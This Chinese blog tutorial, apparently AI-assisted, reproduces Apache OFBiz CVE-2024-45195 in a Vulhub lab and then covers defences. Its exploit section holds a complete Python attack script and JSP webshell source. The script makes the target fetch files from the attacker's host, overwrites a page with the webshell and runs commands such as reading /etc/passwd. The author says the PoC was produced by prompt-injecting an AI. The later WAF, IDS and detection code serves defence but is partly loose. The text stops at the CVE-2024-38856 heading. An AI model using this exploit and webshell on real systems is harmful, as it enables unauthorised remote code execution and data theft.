手把手教你用Vulhub复现ofbiz CVE-2024-45195和 ofbiz CVE-2024-38856漏洞(附完整POC)

6 阅读30分钟

创作声明

AI创作声明

本文由AI辅助创作,经作者人工审核与修订。内容旨在技术交流与学习,如有疏漏或错误,欢迎指正。

免责声明

本文内容仅供学习与研究用途,不保证完全准确或适用于所有环境。读者依据本文操作所产生的一切后果,作者及平台不承担任何法律责任。请遵守法律法规,勿将技术用于非法目的。

版权声明

本文为原创内容,版权归作者所有。未经授权,禁止商业用途转载。非商业转载请注明出处并保留本声明。

准备工作

Docker的常用命令

docker compose pull #将远程镜像拉取到本地

docker compose up -d #启动容器,并且不包含下载日志

docker ps            #查看开放端口

docker compose logs  #查看日志

docker compose down  #销毁容器

docker compose build #重启容器

docker compose exec web bash  #进入名为web的服务容器并打开 Bash 终端的命令

ofbiz/CVE-2024-45195

漏洞原理分析

CVE-2024-45195 是一个 Direct Request / Forced Browsing 漏洞(CWE-425)存在于 Apache OFBiz 的控制器/视图授权逻辑中,它允许攻击者通过直接访问 URL 或资源来绕过页面/视图的授权检查。由于未在所有受保护端点执行访问控制检查,攻击者可直接访问原本被限制的后台管理界面或敏感资源,甚至触发后续的任意操作或远程代码执行(RCE)效果。

研究表明,该漏洞是由于 控制器与视图映射授权检查逻辑失效,导致某些敏感视图缺失必要的授权校验,从而允许未经身份验证的用户直接访问这些受保护路径。

Apache 官方和安全社区将这个问题归类为 强制浏览漏洞(Forced Browsing),即应用错误假设只有经过正常导航流程用户才能访问受保护内容,而实际上攻击者可以直接构造 HTTP 请求到达这些资源。

攻击场景流程图

  1. 攻击者总体流程图(示意)
┌───────────────────────────┐
│        Attacker           │
│ (Unauthenticated User)    │
└───────────────┬───────────┘
                │
                │ ① Reconnaissance: Enumerate OFBiz URLs
                ▼
    ┌────────────────────────┐
    │  Apache OFBiz Server   │
    │ (Authorization Missing)│
    └─────────────┬──────────┘
                │
                │ ② Direct Request to Sensitive View
                ▼
    ┌────────────────────────┐
    │ Authorization Check    │
    │ Bypassed                │
    └─────────────┬──────────┘
                │
   Access Protected Function/API
                ▼
    ┌────────────────────────┐
    │ Sensitive Data / Actions│
    │ (Data Leakage, RCE)     │
    └─────────────────────────┘


此流程图描述未经身份验证的攻击者如何通过直接访问受保护 URL 来绕过授权逻辑,进而访问敏感的功能或资源,从而导致数据泄露或远程代码执行风险。

DFD 威胁建模(Data Flow & STRIDE)

  1. DFD Level 0 – 系统上下文图
               Attacker
                   |
            Direct HTTP RequestsApache OFBiz ERP Application
                   |
        Authentication & Authorization
                   |
            Business Logic / ViewsBackend Database


  1. DFD Level 1 – 数据流细节
[External Entity]
    Attacker
        |
        | (1) Direct Access / Forced Browsing
        v
[Process P1: Request Handler]
        |
        | (2) Missing Auth Check
        v
[Process P2: Sensitive View / Controller]
        |
        v
[Data Store: ERP Data]


STRIDE 威胁分析

类别存在说明
Spoofing(伪造)未直接伪造身份凭证
Tampering(篡改)⚠️可构造恶意参数访问未授权数据
Repudiation(不可否认性)⚠️操作来源难区分合法/非法
Information Disclosure(信息泄露)未授权访问敏感数据
Denial of Service(拒绝服务)⚠️可耗用资源攻击
Elevation of Privilege(权限提升)未授权访问后台资源
该漏洞主要威胁是 信息泄露+权限提升,可能进一步触发远程代码执行。

漏洞复现原理图示说明

  1. 正常访问(有授权检查)
Client
  |
 HTTP GET /view
  |
 OFBiz Authorization
  |
 ✔ allowed? → confirmed
  |
 Response with content


  1. 利用漏洞访问(绕过授权)
Attacker
  |
 Direct HTTP GET /view/protected
  |
 OFBiz Request Handler
  |
 ❌ Authorization not enforced
  |
 Response with protected content


在正常情况下,访问受保护的视图或 API 需要经过授权检查。受影响版本的 Apache OFBiz 在某些视图控制器中缺失授权判断逻辑,从而允许攻击者直接请求敏感页面并获得响应,而无需提供有效凭证。

漏洞复现

在运行脚本之前你需要查阅攻击机的ip和ofbiz在docker里的ip(被控制端的ip,即受害者的ip),这里的脚本已经实现半自动化。需要你自行选择正确的被控制端的ip,控制端的ip需要你自行查找并修改。

Snipaste_2026-01-10_00-43-40.png 利用提示词注入辅助生成的Poc如下:

#!/usr/bin/env python3
"""
CVE-2024-45195 Exploit Script for Apache OFBiz (via VulHub Docker)
目标版本: < 18.12.16
使用方法: python CVE-2024-45195.py
"""

import requests
import sys
import time
import subprocess
import os
from urllib3.exceptions import InsecureRequestWarning

# 禁用SSL警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class OFBizExploit:
    def __init__(self, target_ip, target_port=8443, attacker_ip=None, http_port=8000):
        """
        初始化
        :param target_ip: OFBiz服务器的IP地址
        :param target_port: OFBiz服务的端口 (默认HTTPS 8443)
        :param attacker_ip: 攻击机IP (用于托管恶意文件)
        :param http_port: 攻击机HTTP服务端口
        """
        self.target_url = f"https://{target_ip}:{target_port}"
        self.attacker_ip = attacker_ip
        self.http_port = http_port
        
        # 从参考文章获取的漏洞路径
        self.viewdatafile_path = "/webtools/control/forgotPassword/viewdatafile"
        self.xmldsdump_path = "/webtools/control/forgotPassword/xmldsdump"
        
        # WebShell信息
        self.webshell_name = "cmd.jsp"
        self.webshell_path = f"/common-theme/webapp/common/{self.webshell_name}"
        
        # 会话对象
        self.session = requests.Session()
        self.session.verify = False
        
    def check_vulnerability(self):
        """检测漏洞是否存在"""
        print(f"[*] 检测目标 {self.target_url} ...")
        
        # 尝试访问 xmldsdump 端点
        test_url = self.target_url + self.xmldsdump_path
        test_data = {
            "outpath": "./themes/common-theme/webapp/common/",
            "filename": "test_vuln.txt",
            "entityName": "UserLogin"
        }
        
        try:
            resp = self.session.post(test_url, data=test_data, timeout=10)
            if resp.status_code == 200:
                print(f"[+] 目标可能存在CVE-2024-45195漏洞 (状态码: {resp.status_code})")
                
                # 尝试访问生成的文件
                check_url = self.target_url.replace(":8443", f":8443/common/test_vuln.txt")
                check_resp = self.session.get(check_url, timeout=5)
                if check_resp.status_code == 200:
                    print("[+] 确认漏洞存在: 可未授权写入文件")
                    return True
            else:
                print(f"[-] 目标可能已修复或检测失败 (状态码: {resp.status_code})")
        except Exception as e:
            print(f"[-] 检测时发生错误: {e}")
        
        return False
    
    def create_malicious_files(self):
        """创建恶意XML和WebShell文件 (根据参考文章内容)"""
        print("[*] 创建恶意利用文件...")
        
        # 创建XML定义文件 (参考文章中的 rceschema.xml)
        xml_content = '''<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
        <record name="rceentry" limit="many">
            <field name="jsp" type="String" length="605" position="0"></field>
        </record>
    </data-file>
</data-files>'''
        
        # 创建WebShell文件 (参考文章中的 rcereport.csv)
        # 注意: 根据参考文章,文件末尾必须包含逗号
        webshell_content = '''<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,'''
        
        # 保存文件
        with open("rceschema.xml", "w") as f:
            f.write(xml_content)
        
        with open("rcereport.csv", "w") as f:
            f.write(webshell_content)
        
        print(f"[+] 恶意文件创建成功:")
        print(f"    - rceschema.xml (定义文件)")
        print(f"    - rcereport.csv (WebShell, 长度: {len(webshell_content)} 字节)")
        
        # 重要提示: 确保XML中的length值与文件实际长度匹配
        if len(webshell_content) != 605:
            print(f"[!] 警告: WebShell文件长度({len(webshell_content)})与XML中定义的length=605不匹配!")
            print(f"[!] 请手动修改rceschema.xml中的length值为: {len(webshell_content)}")
        
        return len(webshell_content)
    
    def start_http_server(self):
        """启动HTTP服务器托管恶意文件"""
        print(f"[*] 在 {self.attacker_ip}:{self.http_port} 启动HTTP服务器...")
        
        # 在Windows上启动Python HTTP服务器
        try:
            # 使用subprocess在后台启动HTTP服务器
            http_cmd = f"python -m http.server {self.http_port}"
            if sys.platform == "win32":
                http_cmd = f"start cmd /c python -m http.server {self.http_port}"
            
            subprocess.Popen(http_cmd, shell=True)
            print(f"[+] HTTP服务器已启动在端口 {self.http_port}")
            time.sleep(2)  # 等待服务器启动
            return True
        except Exception as e:
            print(f"[-] 启动HTTP服务器失败: {e}")
            return False
    
    def exploit_viewdatafile(self):
        """利用viewdatafile端点写入WebShell"""
        print("[*] 尝试通过viewdatafile端点写入WebShell...")
        
        exploit_url = self.target_url + self.viewdatafile_path
        
        # 构建攻击载荷 (参考文章中的Payload)
        payload = {
            "DATAFILE_LOCATION": f"http://{self.attacker_ip}:{self.http_port}/rcereport.csv",
            "DATAFILE_SAVE": "./applications/accounting/webapp/accounting/index.jsp",
            "DATAFILE_IS_URL": "true",
            "DEFINITION_LOCATION": f"http://{self.attacker_ip}:{self.http_port}/rceschema.xml",
            "DEFINITION_IS_URL": "true",
            "DEFINITION_NAME": "rce"  # 必须与XML中的data-file name属性一致
        }
        
        print(f"[*] 发送攻击请求到: {exploit_url}")
        print(f"[*] 使用攻击机: http://{self.attacker_ip}:{self.http_port}")
        
        try:
            resp = self.session.post(exploit_url, data=payload, timeout=15)
            
            print(f"[+] 响应状态码: {resp.status_code}")
            print(f"[+] 响应内容: {resp.text[:200]}...")
            
            if resp.status_code == 200:
                print("[+] WebShell可能已成功写入")
                return True
            else:
                print("[-] 利用可能失败")
                return False
                
        except Exception as e:
            print(f"[-] 攻击请求失败: {e}")
            return False
    
    def execute_command(self, command="whoami"):
        """执行命令测试WebShell"""
        print(f"[*] 尝试执行命令: {command}")
        
        # WebShell访问地址 (根据写入路径)
        webshell_url = self.target_url.replace(":8443", f":8443/accounting/index.jsp?cmd={command}")
        
        try:
            resp = self.session.get(webshell_url, timeout=10)
            
            if resp.status_code == 200:
                print(f"[+] 命令执行成功!")
                print(f"[+] 输出:\n{resp.text}")
                return True
            else:
                print(f"[-] WebShell访问失败 (状态码: {resp.status_code})")
                return False
                
        except Exception as e:
            print(f"[-] 执行命令失败: {e}")
            return False
    
    def cleanup(self):
        """清理临时文件"""
        print("[*] 清理临时文件...")
        try:
            if os.path.exists("rceschema.xml"):
                os.remove("rceschema.xml")
            if os.path.exists("rcereport.csv"):
                os.remove("rcereport.csv")
            print("[+] 临时文件已清理")
        except Exception as e:
            print(f"[-] 清理文件时出错: {e}")

def get_windows_ip():
    """在Windows上获取本机IP地址"""
    try:
        # 方法1: 使用socket
        import socket
        hostname = socket.gethostname()
        ip_address = socket.gethostbyname(hostname)
        
        # 方法2: 如果上一步返回127.0.0.1,尝试获取真实IP
        if ip_address == "127.0.0.1":
            # 执行ipconfig命令获取IP
            result = subprocess.run(['ipconfig'], capture_output=True, text=True, shell=True)
            for line in result.stdout.split('\n'):
                if 'IPv4' in line or 'IP' in line:
                    parts = line.split(':')
                    if len(parts) > 1:
                        ip = parts[1].strip()
                        if ip.startswith('192.168') or ip.startswith('10.'):
                            return ip
        
        return ip_address
    except:
        return "127.0.0.1"

def get_docker_container_ip(container_name="vulhub-ofbiz"):
    """获取Docker容器的IP地址"""
    print("[*] 尝试获取Docker容器IP...")
    
    try:
        # 执行docker inspect命令
        cmd = f'docker inspect -f "{{{{.NetworkSettings.Networks.bridge.IPAddress}}}}" {container_name}'
        result = subprocess.run(cmd, capture_output=True, text=True, shell=True)
        
        if result.returncode == 0 and result.stdout.strip():
            ip = result.stdout.strip()
            print(f"[+] Docker容器IP: {ip}")
            return ip
        else:
            print("[-] 无法获取容器IP,使用默认地址")
            return "172.17.0.2"  # Docker默认网桥的常见地址
    except Exception as e:
        print(f"[-] 获取容器IP失败: {e}")
        return "172.17.0.2"

def main():
    print("""
    ███████╗██╗   ██╗██╗     ██╗   ██╗██████╗ 
    ██╔════╝██║   ██║██║     ██║   ██║██╔══██╗
    █████╗  ██║   ██║██║     ██║   ██║██████╔╝
    ██╔══╝  ██║   ██║██║     ██║   ██║██╔══██╗
    ██║     ╚██████╔╝███████╗╚██████╔╝██║  ██║
    ╚═╝      ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝  ╚═╝
    
    CVE-2024-45195 Apache OFBiz 漏洞利用脚本
    影响版本: Apache OFBiz < 18.12.16
    """)
    
    # 自动获取IP地址
    print("[*] 自动检测网络配置...")
    
    # 1. 获取攻击机IP (Windows主机IP)
    attacker_ip = get_windows_ip()
    print(f"[+] 攻击机(Windows主机) IP: {attacker_ip}")
    
    # 2. 获取OFBiz Docker容器IP
    # 注意: 在Windows Docker Desktop中,容器通常可以通过"host.docker.internal"访问
    # 或者使用默认的Docker网桥IP
    target_ip = "host.docker.internal"  # Docker Desktop的特殊主机名
    print(f"[+] OFBiz目标地址(默认): {target_ip}:8443")
    print("[*] 如果连接失败,请尝试:")
    print("    1. 'localhost' 或 '127.0.0.1'")
    print("    2. 使用 get_docker_container_ip() 获取具体容器IP")
    
    # 用户确认或修改IP
    print("\n" + "="*60)
    use_default = input(f"使用默认配置? (攻击机: {attacker_ip}, 目标: {target_ip}) [Y/n]: ").strip().lower()
    
    if use_default == 'n' or use_default == 'no':
        attacker_ip = input("输入攻击机IP地址: ").strip() or attacker_ip
        target_ip = input("输入OFBiz目标IP地址: ").strip() or target_ip
    
    # 创建漏洞利用对象
    exploit = OFBizExploit(
        target_ip=target_ip,
        attacker_ip=attacker_ip,
        target_port=8443,
        http_port=8000
    )
    
    print("\n" + "="*60)
    print("开始漏洞利用流程...")
    
    try:
        # 步骤1: 检测漏洞
        if not exploit.check_vulnerability():
            print("[-] 漏洞检测失败,继续尝试利用...")
        
        # 步骤2: 创建恶意文件
        file_length = exploit.create_malicious_files()
        
        # 步骤3: 启动HTTP服务器
        if not exploit.start_http_server():
            print("[-] 无法启动HTTP服务器,请手动启动:")
            print(f"    python -m http.server 8000")
            input("[*] 按Enter键继续 (确保HTTP服务器已运行)...")
        
        # 步骤4: 利用漏洞写入WebShell
        print("\n" + "="*60)
        if exploit.exploit_viewdatafile():
            print("[+] 漏洞利用请求发送完成")
            
            # 等待文件写入
            print("[*] 等待WebShell写入 (5秒)...")
            time.sleep(5)
            
            # 步骤5: 测试命令执行
            print("\n" + "="*60)
            print("[*] 测试命令执行...")
            
            # 测试多个命令
            test_commands = ["whoami", "id", "pwd", "ls -la"]
            
            for cmd in test_commands:
                print(f"\n[*] 执行命令: {cmd}")
                exploit.execute_command(cmd)
                time.sleep(1)
        
        print("\n" + "="*60)
        print("[*] 漏洞利用流程完成!")
        print("[*] 手动访问WebShell: ")
        print(f"    https://{target_ip}:8443/accounting/index.jsp?cmd=whoami")
        
    except KeyboardInterrupt:
        print("\n[-] 用户中断操作")
    except Exception as e:
        print(f"\n[-] 发生未预期错误: {e}")
    finally:
        # 清理文件
        exploit.cleanup()
        
        print("\n" + "="*60)
        print("[*] 提示:")
        print("    1. 如果攻击失败,请检查:")
        print(f"       - OFBiz服务是否运行: https://{target_ip}:8443")
        print(f"       - HTTP服务器是否可访问: http://{attacker_ip}:8000/rcereport.csv")
        print("       - XML文件中的length值是否正确")
        print("    2. Windows防火墙可能需要配置")
        print("    3. Docker容器可能需要额外的网络配置")

if __name__ == "__main__":
    # 检查必要模块
    try:
        import requests
    except ImportError:
        print("[-] 缺少requests模块,请安装: pip install requests")
        sys.exit(1)
    
    main()


具体的手动查阅控制端和被控制端的过程如下:

# 1. 查看Windows主机IP (攻击机IP)
ipconfig
# 主要查看:
#   - 无线局域网适配器 WLAN -> IPv4 地址 (通常是192.168.x.x)
#   - 以太网适配器 以太网 -> IPv4 地址

# 2. 查看Docker容器IP (OFBiz服务IP)
docker ps  # 查看OFBiz容器ID
docker inspect <容器ID> | findstr "IPAddress"
# 或者使用更简洁的命令:
docker inspect -f "{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}" <容器名或ID> #这里好像不行?


docker ps

# 步骤2: 测试从Windows访问OFBiz
curl -k https://localhost:8443/webtools/control/checkLogin
# 或使用浏览器访问: https://localhost:8443

# 步骤3: 测试从容器访问Windows HTTP服务
# 进入容器执行:
docker exec -it <容器ID> /bin/sh
# 在容器内测试:
curl http://host.docker.internal:8000


## 使用流程总结

1. **启动VulHub环境**:
    
    bash 
    cd vulhub/ofbiz/CVE-2024-45195
    docker-compose up -d
    
2. **运行自动化脚本**:
    
    bash   
    python CVE-2024-45195.py
    
3. **脚本会自动**:
    
    - 检测您的Windows IP和Docker网络       
    - 创建恶意XML和WebShell文件    
    - 启动HTTP服务器(端口8000)    
    - 发送漏洞利用请求   
    - 测试命令执行   
4. **手动验证**:  
    访问 `https://localhost:8443/accounting/index.jsp?cmd=whoami` 查看结果。

运行该PoC后,选择Y,等待后续命令执行,仅通过结果就可以判定存在RCE。如果靶机环境所支持的地址与我的不同,则选择N,随即查找并填入受害者的target_ip。

实际运行效果如下:

Snipaste_2026-01-10_00-56-50.png

接着,直接在网页输入https://localhost:8443/accounting/index.jsp?cmd=cat%20/etc/passwd%20),便能够查看到敏感信息。这些结果与选择Y之后,执行相关命令的效果是等效的。

Snipaste_2026-01-10_00-38-58.png

类似的命令还有:

                "whoami",
                "id",
                "pwd",
                "ls -la",
                "uname -a",
                "cat /etc/passwd | head -5"
                "python3%20-c%20%27print(7*7)%27"

修复建议

修复措施

  1. 升级到安全版本(强烈推荐)

厂商已在 Apache OFBiz 18.12.16 中修复了 CVE-2024-45195。建议所有受影响用户立刻升级到 18.12.16 或更高版本

  1. 强制授权检查(补丁层面)

修复缺失的授权检查逻辑,在所有受保护视图/控制器入口添加有效的访问控制判断,确保未经授权请求被拒绝。

伪代码级修复示例

以下是修复示例伪代码(Java / 控制器层示意):

❌ 受影响逻辑(授权缺失)

@GetMapping("/protected/resource")
public String viewProtectedResource() {
    // no authorization check here
    return "protectedView";
}


✅ 修复版(加入授权检查)

@GetMapping("/protected/resource")
public String viewProtectedResource(HttpServletRequest req) {
    User user = authService.getUserFromSession(req.getSession());
    if (user == null || !user.hasRole("ADMIN")) {
        throw new UnauthorizedException("Access denied");
    }
    return "protectedView";
}


✔ 在访问敏感控制器之前加session验证 + 角色检查
✔ 对未登录/无权限的用户直接返回 401/403

📌 修复思想:不要相信 URL 访问路径本身,即使它只有特定导航才能达到,也必须在每个受保护端点显式授权

基于该漏洞的安全检测与防护规则

由于该漏洞本质是“强制浏览导致未授权访问”,适合采用规则检测非法直接访问敏感资源的模式。

  1. WAF 规则(基于 URL 模式)

下面给出ModSecurity规则示例:

# Detect forced browsing to sensitive resources
SecRule REQUEST_URI "(?i)^/view/.*(admin|config|order|datafile)" \
    "phase:2,deny,status:403,\
    msg:'Potential forced browsing - unauthorized access (CVE-2024-45195)',\
    severity:CRITICAL,\
    tag:'cve-2024-45195',\
    tag:'forced-browsing'"


✔ 匹配敏感视图路径模式
✔ 阻断直接访问未授权 URL

  1. IDS/Suricata 规则
alert http any any -> any any (
    msg:"Apache OFBiz Forced Browsing attempt (CVE-2024-45195)";
    http.uri;
    pcre:"/\/view\/(admin|config|order|datafile)/i";
    classtype:web-application-attack;
    sid:202445195;
    rev:1;
)


✔ 匹配未经授权的敏感路径访问企图
✔ 可与登录状态/会话关联进一步识别

  1. SIEM 关联检测策略 在日志分析系统(如 ELK / Splunk):
index=web_logs sourcetype=ofbiz
| search http_method=GET http_uri="/view/*"
| stats count by src_ip, http_uri
| where count > 5


✔ 统计重复访问敏感路径的行为
✔ 结合正常访问模式识别强制浏览攻击

检测与防护体系架构 我们构建三层防护:

  • 应用层(Flask中间件):作为反向代理或API网关,实施访问控制、路径白名单和基础行为监控。
  • 异常检测(TensorFlow模型):基于用户行为特征(请求频率、路径、IP等)识别异常访问模式。
  • 边界防护(ModSecurity WAF):拦截已知攻击特征,限制请求速率,提供第一道防线。

基于 Flask 的实时检测与防护

1.1 Flask 中间件:路径访问控制 部署一个 Flask 应用作为前置代理,对所有进入 OFBiz 的请求进行拦截和检查。

# ofbiz_proxy.py
from flask import Flask, request, abort, jsonify
import re
import time
from functools import wraps

app = Flask(__name__)

# 敏感路径列表(根据 OFBiz 实际配置调整)
SENSITIVE_PATHS = [
    '/webtools/control/',
    '/catalog/control/',
    '/facility/control/',
    '/manufacturing/control/',
    '/accounting/control/',
    '/order/control/',
    '/marketing/control/',
    '/content/control/',
    '/party/control/',
]

# 简单的内存存储用于速率限制和异常记录
request_records = {}  # ip -> list of timestamps

def authenticate_session():
    """模拟会话验证逻辑(应从请求头或cookie中提取session并验证)"""
    # 此处假设通过 Authorization header 或 session cookie 验证
    auth_header = request.headers.get('Authorization')
    session_cookie = request.cookies.get('OFBizSession')
    # 实际应调用OFBiz的会话验证接口或验证签名
    # 为示例,我们简单认为存在且非空即已认证
    return bool(auth_header or session_cookie)

def is_sensitive_path(path):
    """检查路径是否匹配敏感前缀"""
    for sp in SENSITIVE_PATHS:
        if path.startswith(sp):
            return True
    return False

def rate_limit(ip, limit=30, window=60):
    """简单的滑动窗口速率限制"""
    now = time.time()
    if ip not in request_records:
        request_records[ip] = []
    # 移除窗口外的记录
    request_records[ip] = [t for t in request_records[ip] if now - t < window]
    if len(request_records[ip]) >= limit:
        return True
    request_records[ip].append(now)
    return False

@app.before_request
def before_request():
    # 1. 路径是否为敏感路径
    if is_sensitive_path(request.path):
        # 2. 验证用户是否已认证
        if not authenticate_session():
            abort(401, description="Authentication required")
        # 3. 可选:检查用户权限(如角色)
        # 4. 速率限制(针对未认证的请求也可做限制)
        if rate_limit(request.remote_addr):
            abort(429, description="Too many requests")

    # 非敏感路径正常放行
    # 可添加其他安全检查,如SQL注入检测等(此处省略)

@app.errorhandler(401)
def unauthorized(e):
    return jsonify(error="Unauthorized"), 401

@app.errorhandler(429)
def too_many(e):
    return jsonify(error="Too many requests"), 429

# 转发请求到后端 OFBiz(示例)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE'])
def proxy(path):
    # 实际应转发请求到 OFBiz 服务器
    # 这里仅作演示,返回模拟响应
    return f"Proxied to {path} (authenticated: {authenticate_session()})"

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

2.2 日志监控与告警脚本 实时分析 OFBiz 访问日志,发现对敏感路径的直接访问尝试。

# monitor_logs.py
import re
import sys
from collections import defaultdict
from datetime import datetime, timedelta

# 日志格式示例(需根据实际调整)
LOG_PATTERN = re.compile(
    r'(?P<ip>\d+\.\d+\.\d+\.\d+).*?\[(?P<time>[^\]]+)\].*?"(?P<method>\w+) (?P<path>[^"]+)" (?P<status>\d+)'
)

SENSITIVE_PATHS = ['/webtools/control/', '/catalog/control/']  # 关键路径

def analyze_log(logfile, window_minutes=5, threshold=10):
    attempts = defaultdict(list)
    with open(logfile, 'r') as f:
        for line in f:
            match = LOG_PATTERN.search(line)
            if not match:
                continue
            ip = match.group('ip')
            path = match.group('path')
            status = match.group('status')
            # 只关注未认证的请求(如 401/403)或直接访问敏感路径
            if any(path.startswith(sp) for sp in SENSITIVE_PATHS):
                # 简化时间解析
                # 这里仅计数
                attempts[ip].append((path, status))
    
    for ip, records in attempts.items():
        if len(records) > threshold:
            print(f"[!] 异常IP {ip} 在日志中出现 {len(records)} 次对敏感路径的访问")
            # 可触发告警

if __name__ == '__main__':
    analyze_log(sys.argv[1])

基于 TensorFlow 的异常行为检测 通过机器学习模型识别访问行为的异常模式,如短时间内对大量不同敏感路径的探测、非常用User-Agent、请求时间分布异常等。

3.1 特征工程 从每个请求中提取特征,构建数据集。假设我们有历史正常访问日志和模拟攻击日志。 特征列表

  • hour:请求小时 (0-23)
  • minute:分钟 (0-59)
  • is_sensitive:请求路径是否敏感 (0/1)
  • path_depth:路径深度(/分隔的段数)
  • method:请求方法 (GET=1, POST=2, PUT=3, DELETE=4)
  • response_status:状态码类别 (2xx=1, 3xx=2, 4xx=3, 5xx=4)
  • user_agent_length:User-Agent 字符串长度
  • is_known_ua:是否常见浏览器 UA (0/1)
  • ip_reputation:IP 信誉分(如来自公共代理则高)
  • request_freq_10min:该 IP 最近10分钟请求数
  • unique_paths_10min:该 IP 最近10分钟访问的不同路径数
  • is_authenticated:是否已认证 (0/1)
def extract_features(request_entry, history):
    """
    request_entry: dict with keys: ip, timestamp, path, method, status, user_agent, is_auth
    history: 该IP的历史请求记录
    """
    from datetime import datetime
    import math
    
    dt = datetime.fromisoformat(request_entry['timestamp'])
    features = [
        dt.hour,
        dt.minute,
        1 if any(request_entry['path'].startswith(sp) for sp in SENSITIVE_PATHS) else 0,
        request_entry['path'].count('/'),
        {'GET':1, 'POST':2, 'PUT':3, 'DELETE':4}.get(request_entry['method'], 0),
        1 if 200 <= request_entry['status'] < 300 else (2 if 300 <= request_entry['status'] < 400 else (3 if 400 <= request_entry['status'] < 500 else 4)),
        len(request_entry['user_agent']),
        1 if 'Mozilla' in request_entry['user_agent'] else 0,
        get_ip_reputation(request_entry['ip']),  # 假设有函数计算
        history['freq_10min'],
        history['unique_paths_10min'],
        int(request_entry['is_auth'])
    ]
    return features

3.2 模型训练示例 使用 TensorFlow 构建一个简单的二分类模型(正常=0,异常=1)。

import numpy as np
import tensorflow as tf
from tensorflow.keras import layers, models
from sklearn.model_selection import train_test_split
import joblib

# 假设 X 是特征矩阵,y 是标签(0正常,1异常)
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)

model = models.Sequential([
    layers.Dense(64, activation='relu', input_shape=(X.shape[1],)),
    layers.Dropout(0.3),
    layers.Dense(32, activation='relu'),
    layers.Dropout(0.3),
    layers.Dense(16, activation='relu'),
    layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

history = model.fit(X_train, y_train, epochs=20, batch_size=32, validation_split=0.1)

# 保存模型
model.save('ofbiz_anomaly_model.h5')
# 保存特征缩放器(如果有)
# scaler = StandardScaler()
# X_train_scaled = scaler.fit_transform(X_train)
# joblib.dump(scaler, 'scaler.pkl')

3.3 集成到 Flask 中间件 加载模型,对每个请求进行实时预测,若异常概率高于阈值则阻断或告警。

from tensorflow.keras.models import load_model
import joblib
import numpy as np

model = load_model('ofbiz_anomaly_model.h5')
# scaler = joblib.load('scaler.pkl')
THRESHOLD = 0.8

def get_ip_reputation(ip):
    # 可根据 IP 地理位置、是否代理等计算,简单返回 0
    return 0

def predict_anomaly(request_entry, history):
    features = extract_features(request_entry, history)
    # features = scaler.transform([features])  # 若需要标准化
    prob = model.predict(np.array([features]))[0][0]
    return prob > THRESHOLD

# 在 Flask 中间件中调用
@app.before_request
def before_request():
    # ... 现有代码 ...
    
    # 提取当前请求的特征
    request_entry = {
        'ip': request.remote_addr,
        'timestamp': datetime.now().isoformat(),
        'path': request.path,
        'method': request.method,
        'status': 200,  # 暂未知,可用前序状态?
        'user_agent': request.headers.get('User-Agent', ''),
        'is_auth': authenticate_session()
    }
    # 获取该IP的历史行为(需从缓存中获取,如Redis)
    history = get_ip_history(request.remote_addr)
    
    if predict_anomaly(request_entry, history):
        abort(403, description='Suspicious behavior detected')

基于 ModSecurity 的 WAF 规则

在 Apache/NGINX 中部署 ModSecurity,编写规则拦截对 OFBiz 敏感路径的强制浏览尝试。 4.1 基础规则

# modsecurity_crs_67_ofbiz_cve_2024_45195.conf

# 规则1:拦截对敏感路径的未授权直接访问
SecRule REQUEST_URI "@beginsWith /webtools/control/" \
    "id:1004001,\
    phase:1,\
    t:none,\
    deny,\
    status:403,\
    msg:'OFBiz CVE-2024-45195 - Forced browsing attempt on /webtools/control/ path',\
    logdata:'Request URI: %{REQUEST_URI}',\
    tag:'attack-forced-browsing',\
    tag:'cve-2024-45195',\
    severity:'CRITICAL'"

# 对其他敏感路径的通用规则
SecRule REQUEST_URI "@rx ^/(webtools|catalog|facility|manufacturing|accounting|order|marketing|content|party)/control/" \
    "id:1004002,\
    phase:1,\
    t:none,\
    deny,\
    status:403,\
    msg:'OFBiz CVE-2024-45195 - Forced browsing attempt on control path',\
    tag:'attack-forced-browsing',\
    severity:'CRITICAL'"

# 规则2:对敏感路径进行速率限制(即使有认证,也限制频率)
SecRule REQUEST_URI "@rx ^/(webtools|catalog)/control/" \
    "id:1004003,\
    phase:1,\
    t:none,\
    ver:'OWASP_CRS/4.0',\
    block,\
    msg:'OFBiz control path rate limiting',\
    setvar:'tx.control_access_counter_%{REMOTE_ADDR}=+1',\
    expirevar:'tx.control_access_counter_%{REMOTE_ADDR}=60'"
SecRule TX:control_access_counter_%{REMOTE_ADDR} "@gt 10" \
    "id:1004004,\
    phase:1,\
    block,\
    msg:'Too many requests to OFBiz control paths',\
    severity:'WARNING'"

# 规则3:检测常见扫描特征(如工具UASecRule REQUEST_HEADERS:User-Agent "@pmFromFile malicious_ua.list" \
    "id:1004005,\
    phase:1,\
    t:none,\
    block,\
    msg:'Malicious User-Agent detected',\
    severity:'WARNING'"

4.2 部署示例(NGINX)

server {
    listen 80;
    server_name ofbiz.example.com;

    ModSecurityEnabled on;
    ModSecurityConfig /etc/nginx/modsec/modsecurity.conf;

    location / {
        proxy_pass http://ofbiz-backend:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

总结:CVE-2024-45195 是典型的强制浏览漏洞,通过组合使用 Flask 中间件、TensorFlow 异常检测和 ModSecurity WAF,可以在不修改原应用代码的情况下有效检测和阻止攻击。对于 OFBiz 用户,建议立即升级并采用上述多层防护策略。

ofbiz/CVE-2024-38856

漏洞原理分析

漏洞基本信息

